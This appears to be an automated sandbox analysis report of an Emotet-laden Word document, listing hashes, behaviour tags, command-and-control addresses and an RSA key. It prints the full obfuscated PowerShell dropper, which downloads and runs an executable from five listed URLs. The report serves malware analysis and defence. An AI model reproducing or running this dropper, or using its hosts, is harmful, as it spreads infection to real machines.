General

  • Target

    7b6a76a3a932265f067c2751c8bd6647327d0ec5bd95563dc3dc38d797a1469e.doc

  • Size

    171KB

  • Sample

    200731-gebc5scwpx

  • MD5

    59f4724965968516824d9b5c696896ea

  • SHA1

    1e7bec9839565b675c8a97d7f6b21b6569d9661c

  • SHA256

    7b6a76a3a932265f067c2751c8bd6647327d0ec5bd95563dc3dc38d797a1469e

  • SHA512

    6ef022875cad1e9abfc76e60aba6561d3fe638e0c648ea5da31d3f8a742bd61a993e4d7e3813c7a69d3147280da7bebb85e73dad64b89e3f60665a43ed857c19

Malware Config

Extracted

Language
ps1
Source
1
$IQYJUppm='WKOYOzwu';[Net.ServicePointManager]::"sEC`U`Ri`TYPRoT`ocOl" = 'tls12, tls11, tls';$FYOFEndz = '659';$IWRGHkts='TFYCSgbk';$VXKIXdhc=$env:userprofile+'\'+$FYOFEndz+'.exe';$LDUTLrks='GJPIKwzq';$QGQZAtqo=&('new-'+'o'+'bject') nEt.WEbCLient;$RUUNJyzq='http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/*http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/*http://my6thgen.org/_db_backups/t_e_v7qizcr2/*http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/*http://www.naayers.org/Library/o_eo_97ml/'."SPl`iT"([char]42);$RKRZAxqs='YHVSNowi';foreach($YJLGSrkb in $RUUNJyzq){try{$QGQZAtqo."dOwn`L`oad`FiLE"($YJLGSrkb, $VXKIXdhc);$JPLAVojm='IKUCCcsk';If ((&('Get-I'+'te'+'m') $VXKIXdhc)."LEnG`TH" -ge 20603) {([wmiclass]'win32_Process')."Cre`Ate"($VXKIXdhc);$MCXCTkml='OVBMCiqa';break;$QOCQNnih='VETADnow'}}catch{}}$LMSPIdey='HYSTMbpt'
URLs
exe.dropper

http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/

exe.dropper

http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/

exe.dropper

http://my6thgen.org/_db_backups/t_e_v7qizcr2/

exe.dropper

http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/

exe.dropper

http://www.naayers.org/Library/o_eo_97ml/

Extracted

Family

emotet

Botnet

Epoch2

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain
1
-----BEGIN PUBLIC KEY-----
2
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS
3
Q0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS
4
fkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB
5
-----END PUBLIC KEY-----
6

Targets

    • Target

      7b6a76a3a932265f067c2751c8bd6647327d0ec5bd95563dc3dc38d797a1469e.doc

    • Size

      171KB

    • MD5

      59f4724965968516824d9b5c696896ea

    • SHA1

      1e7bec9839565b675c8a97d7f6b21b6569d9661c

    • SHA256

      7b6a76a3a932265f067c2751c8bd6647327d0ec5bd95563dc3dc38d797a1469e

    • SHA512

      6ef022875cad1e9abfc76e60aba6561d3fe638e0c648ea5da31d3f8a742bd61a993e4d7e3813c7a69d3147280da7bebb85e73dad64b89e3f60665a43ed857c19

    Score
    10/10
    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Emotet Payload

      Detects Emotet payload in memory.

    • Blacklisted process makes network request

    • Executes dropped EXE

    • Drops file in System32 directory

MITRE ATT&CK Matrix

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.